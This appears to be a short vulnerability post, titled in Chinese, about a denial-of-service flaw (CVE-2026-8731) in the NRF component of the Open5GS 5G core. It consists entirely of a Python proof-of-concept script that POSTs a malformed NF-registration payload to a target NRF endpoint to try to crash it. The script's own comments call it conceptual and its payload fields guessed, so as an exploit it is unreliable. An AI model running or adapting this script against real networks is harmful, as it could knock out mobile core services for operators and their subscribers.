CVE-2026-8731 Open5GS NRF组件拒绝服务漏洞

import requests # Target URL (Replace with actual NRF interface) target_url = "http://target-open5gs-nrf:8000/nnrf-nfm/v1/nf-instances" # Malformed payload attempting to trigger client_pool manipulation # This is a conceptual PoC based on the vulnerability description. # The exact payload structure depends on the Open5GS SBI API implementation. malicious_payload = { "nfInstanceID": "test", "nfType": "AMF", # Manipulating fields that might affect internal client_pool allocation "customData": {"client_pool": "overflow_trigger"} } try: response = requests.post(target_url, json=malicious_payload) print(f"Sent payload. Status Code: {response.status_code}") # Check if service is down or behaving unexpectedly except Exception as e: print(f"Potential DoS triggered or connection error: {e}")